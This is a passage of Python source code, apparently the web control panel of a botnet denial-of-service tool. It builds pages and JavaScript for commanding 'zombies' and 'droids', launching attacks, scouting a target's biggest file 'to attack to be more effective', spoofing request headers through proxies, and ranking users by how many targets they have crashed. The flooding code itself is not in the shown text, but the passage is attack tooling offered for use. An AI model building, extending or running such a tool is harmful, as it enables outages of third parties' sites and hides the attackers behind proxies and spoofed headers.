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'>"
  3572. self.pages["/author"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3573. </head>
  3574. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3575. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3576. <center>
  3577. <table cellpadding="38" cellspacing="38">
  3578. <tr>
  3579. <td>
  3580. <table cellpadding="24" cellspacing="25" border="1">
  3581. <tr>
  3582. <td><pre>"""+self.author_text+"""</pre></td>
  3583. </tr>
  3584. </table>
  3585. </td></tr></table>
  3586. """ + self.pages["/footer"]
  3587. self.pages["/treemap"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3588. </head>
  3589. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3590. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3591. <table cellpadding="38" cellspacing="38">
  3592. <tr>
  3593. <td>
  3594. <div>
  3595. <link type="text/css" href="js/treemap.css" rel="stylesheet" />
  3596. <script language="javascript" type="text/javascript" src="js/jit.js"></script>
  3597. <script language="javascript" type="text/javascript" src="js/treemap.js"></script>
  3598. <div id="infovis"></div>
  3599. </div>
  3600. </td></tr></table><center>
  3601. """ + self.pages["/footer"]
  3602. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  3603. function Requests() {
  3604. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3605. }
  3606. function Start(){
  3607. target=document.getElementById("target").value
  3608. String.prototype.startsWith = function(prefix){
  3609. return this.indexOf(prefix) === 0;
  3610. }
  3611. if(target.startsWith("http")){
  3612. params="target="+escape(target)
  3613. }else{
  3614. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  3615. return
  3616. }
  3617. runCommandX("cmd_inspect",params)
  3618. }
  3619. </script>
  3620. </head>
  3621. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3622. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3623. <center>
  3624. <table cellpadding="38" cellspacing="38">
  3625. <tr>
  3626. <td>
  3627. </td>
  3628. <td>
  3629. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3630. <tr>
  3631. <td>
  3632. <pre>
  3633. This feature will provide you the biggest file on target.
  3634. You can use this before to attack to be more effective.
  3635. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3636. <hr>
  3637. Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  3638. <hr>
  3639. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  3640. </td></tr></table>
  3641. <br><br><hr><br>
  3642. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  3643. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  3644. function Grid() {
  3645. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3646. }
  3647. function Stats() {
  3648. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3649. }
  3650. function Board() {
  3651. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3652. }
  3653. function Links() {
  3654. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3655. }
  3656. function Streams() {
  3657. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3658. }
  3659. function Sync_ranking(){
  3660. ranking_source=document.getElementById("ranking_source").value
  3661. if(ranking_source == "") {
  3662. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  3663. return
  3664. }else{
  3665. params="ranking_source="+escape(ranking_source)
  3666. runCommandX("cmd_refresh_ranking",params)
  3667. document.getElementById("nb1").style.display = "none";
  3668. document.getElementById("nb1").style.display = "block";
  3669. setTimeout("location.reload()", 10000)
  3670. }
  3671. }
  3672. </script></head>
  3673. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3674. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3675. <center>
  3676. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  3677. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  3678. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  3679. </tr></table>
  3680. <table cellpadding="5" cellspacing="10">
  3681. <tr>
  3682. <td align="center">
  3683. Your ranking is: <b>""" + str(self.ranking) + """</b>
  3684. </td>
  3685. </tr>
  3686. <tr>
  3687. <td>
  3688. <table border="1" cellpadding="10" cellspacing="10">
  3689. <tr>
  3690. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  3691. <tr>
  3692. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  3693. <tr>
  3694. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  3695. <tr>
  3696. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  3697. <tr>
  3698. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  3699. <tr>
  3700. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  3701. <tr>
  3702. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  3703. </table>
  3704. </td>
  3705. </tr></table>
  3706. <br>
  3707. <table cellpadding="5" cellspacing="10">
  3708. <tr>
  3709. <td>Blackhole/IP:</td>
  3710. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  3711. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  3712. </tr></table>
  3713. <br>
  3714. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  3715. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  3716. <div id="cmdOut"></div>
  3717. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  3718. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  3719. <td>
  3720. </td><td>
  3721. <table border="1" cellpadding="5" cellspacing="10">
  3722. <tr>
  3723. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  3724. <tr>
  3725. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  3726. <tr>
  3727. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  3728. <tr>
  3729. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  3730. <tr>
  3731. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  3732. <tr>
  3733. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  3734. <tr>
  3735. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  3736. </table>
  3737. </td><td>
  3738. <table border="1" cellpadding="5" cellspacing="10">
  3739. <tr>
  3740. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  3741. <tr>
  3742. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  3743. <tr>
  3744. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  3745. <tr>
  3746. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  3747. <tr>
  3748. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  3749. <tr>
  3750. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  3751. </table>
  3752. </td><td>
  3753. <table border="1" cellpadding="5" cellspacing="10">
  3754. <tr>
  3755. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  3756. <tr>
  3757. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  3758. <tr>
  3759. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  3760. <tr>
  3761. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  3762. </table>
  3763. </td><td>
  3764. <table border="1" cellpadding="5" cellspacing="10">
  3765. <tr>
  3766. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  3767. <tr>
  3768. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  3769. </table>
  3770. </td>
  3771. </tr></table>
  3772. </center>
  3773. <hr>
  3774. """ + self.pages["/footer"]
  3775. self.pages["/lib.js"] = """function loadXMLDoc() {
  3776. var xmlhttp;
  3777. if (window.XMLHttpRequest) {
  3778. // code for IE7+, Firefox, Chrome, Opera, Safari
  3779. xmlhttp = new XMLHttpRequest();
  3780. } else {
  3781. // code for IE6, IE5
  3782. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3783. }
  3784. xmlhttp.onreadystatechange = function() {
  3785. if (xmlhttp.readyState == 4 ) {
  3786. if(xmlhttp.status == 200){
  3787. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3788. setTimeout("loadXMLDoc()", 3000);
  3789. }
  3790. }
  3791. }
  3792. xmlhttp.send();
  3793. }
  3794. function runCommandX(cmd,params) {
  3795. var xmlhttp;
  3796. if (window.XMLHttpRequest) {
  3797. // code for IE7+, Firefox, Chrome, Opera, Safari
  3798. xmlhttp = new XMLHttpRequest();
  3799. } else {
  3800. // code for IE6, IE5
  3801. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3802. }
  3803. xmlhttp.onreadystatechange = function() {
  3804. if (xmlhttp.readyState == 4 ) {
  3805. if(xmlhttp.status == 200){
  3806. if(cmd.indexOf("?")!=-1){
  3807. s=cmd.split("?")
  3808. cmd=s[0]
  3809. params=s[1]
  3810. }
  3811. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3812. //document.getElementById("cmdOut").scrollIntoView();
  3813. newcmd=cmd
  3814. if(newcmd=="cmd_list_army"||newcmd=="cmd_list_nodes"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
  3815. return;
  3816. } else {
  3817. if(newcmd=="cmd_test_army" || newcmd=="cmd_download_nodes" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_tv" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_decrypt_tv" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_download_botnet_ip" || newcmd=="cmd_upload_botnet_ip" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_check_tor" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  3818. //do not refresh if certain text on response is found
  3819. if(newcmd.match(/update/) &&
  3820. (
  3821. xmlhttp.responseText.match(/Generating random exit/) ||
  3822. xmlhttp.responseText.match(/Biggest File/) ||
  3823. xmlhttp.responseText.match(/Abduction finished/) ||
  3824. xmlhttp.responseText.match(/Not any zombie active/) ||
  3825. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  3826. xmlhttp.responseText.match(/Unable to connect to target/) ||
  3827. xmlhttp.responseText.match(/Something wrong/) ||
  3828. xmlhttp.responseText.match(/Target url not valid/) ||
  3829. xmlhttp.responseText.match(/updated/) ||
  3830. xmlhttp.responseText.match(/For HELP use:/) ||
  3831. xmlhttp.responseText.match(/Not any .git repository found/) ||
  3832. xmlhttp.responseText.match(/End of /) ||
  3833. xmlhttp.responseText.match(/Exiting /) ||
  3834. xmlhttp.responseText.match(/Bye/)
  3835. )
  3836. ) return;
  3837. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  3838. return;}
  3839. }
  3840. }
  3841. }
  3842. if(typeof params != "undefined") cmd=cmd+"?"+params
  3843. xmlhttp.open("GET", cmd, true);
  3844. xmlhttp.send();
  3845. }
  3846. """
  3847. self.pages["/requests"] = self.html_requests()
  3848. self.pages["/board_profile"] = self.html_board_profile()
  3849. self.pages["/grid_profile"] = self.html_grid_profile()
  3850. def buildGetParams(self, request):
  3851. params = {}
  3852. try:
  3853. path = re.findall(r"^GET ([^\s]+)", request.decode('utf-8'))
  3854. except:
  3855. path = re.findall(r"^GET ([^\s]+)", request)
  3856. if path:
  3857. path = path[0]
  3858. start = path.find("?")
  3859. if start != -1:
  3860. if path[start+1:start+7] == "zombie":
  3861. params['zombie']=path[start+8:]
  3862. return params
  3863. if path[start+1:start+7] == "target":
  3864. params['target']=path[start+8:]
  3865. return params
  3866. for param in path[start+1:].split("&"):
  3867. f = param.split("=")
  3868. if len(f) == 2:
  3869. var = f[0]
  3870. value = f[1]
  3871. value = value.replace("+", " ") # quoted space
  3872. value = urllib.parse.unquote(value)
  3873. for key in badkeys: # sanitize user-input badkeys
  3874. if key in value:
  3875. value = value.replace(key, " ")
  3876. params[var] = value
  3877. return params
  3878. def save_profile(self,pGet):
  3879. # set values for profile configuration from html form to json file
  3880. if "profile_token" in list(pGet.keys()):
  3881. profile_token = pGet["profile_token"]
  3882. else:
  3883. profile_token = self.profile_token
  3884. if "profile_icon" in list(pGet.keys()):
  3885. profile_icon = pGet["profile_icon"]
  3886. else:
  3887. profile_icon = self.profile_icon
  3888. if "profile_nick" in list(pGet.keys()):
  3889. profile_nick = pGet["profile_nick"]
  3890. else:
  3891. profile_nick = self.profile_nick
  3892. # set new values on boardcfg json file
  3893. with open(self.mothership_boardcfg_file, "w") as f:
  3894. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  3895. def save_grid(self,pGet):
  3896. # set values for profile configuration from html form to json file
  3897. if "grid_token" in list(pGet.keys()):
  3898. grid_token = pGet["grid_token"]
  3899. else:
  3900. grid_token = self.grid_token
  3901. if "grid_contact" in list(pGet.keys()):
  3902. grid_contact = pGet["grid_contact"]
  3903. else:
  3904. grid_contact = self.grid_contact
  3905. if "grid_nick" in list(pGet.keys()):
  3906. grid_nick = pGet["grid_nick"]
  3907. else:
  3908. grid_nick = self.grid_nick
  3909. # set new values on gridcfg json file
  3910. with open(self.mothership_gridcfg_file, "w") as f:
  3911. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  3912. def save_cfg(self,pGet):
  3913. # set values for requests configuration from html form to json file
  3914. if "rproxy" in list(pGet.keys()):
  3915. frm_rproxy = pGet["rproxy"].replace(" ","/")
  3916. else:
  3917. frm_rproxy = self.rproxy
  3918. if "ruseragent" in list(pGet.keys()):
  3919. frm_ruseragent = pGet["ruseragent"]
  3920. else:
  3921. frm_ruseragent = self.ruseragent
  3922. if "rreferer" in list(pGet.keys()):
  3923. frm_rreferer = pGet["rreferer"]
  3924. else:
  3925. frm_rreferer = self.rreferer
  3926. if "rhost" in list(pGet.keys()):
  3927. frm_rhost = pGet["rhost"]
  3928. else:
  3929. frm_rhost = self.rhost
  3930. if "rxforw" in list(pGet.keys()):
  3931. frm_rxforw = pGet["rxforw"]
  3932. else:
  3933. if "update" in list(pGet.keys()):
  3934. frm_rxforw = ""
  3935. else:
  3936. frm_rxforw = self.rxforw
  3937. if "rxclient" in list(pGet.keys()):
  3938. frm_rxclient = pGet["rxclient"]
  3939. else:
  3940. if "update" in list(pGet.keys()):
  3941. frm_rxclient = ""
  3942. else:
  3943. frm_rxclient = self.rxclient
  3944. if "rtimeout" in list(pGet.keys()):
  3945. frm_rtimeout = pGet["rtimeout"]
  3946. else:
  3947. frm_rtimeout = self.rtimeout
  3948. if "rretries" in list(pGet.keys()):
  3949. frm_rretries = pGet["rretries"]
  3950. else:
  3951. frm_rretries = self.rretries
  3952. if "rdelay" in list(pGet.keys()):
  3953. frm_rdelay = pGet["rdelay"]
  3954. else:
  3955. frm_rdelay = self.rdelay
  3956. if "threads" in list(pGet.keys()):
  3957. frm_threads = pGet["threads"]
  3958. else:
  3959. frm_threads = self.threads
  3960. if "rssl" in list(pGet.keys()):
  3961. frm_rssl = pGet["rssl"]
  3962. else:
  3963. if "update" in list(pGet.keys()):
  3964. frm_rssl = ""
  3965. else:
  3966. frm_rssl = self.rssl
  3967. # set new values on webcfg json file
  3968. with open(self.mothership_webcfg_file, "w") as f:
  3969. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  3970. def get(self, request):
  3971. # set request options of the user
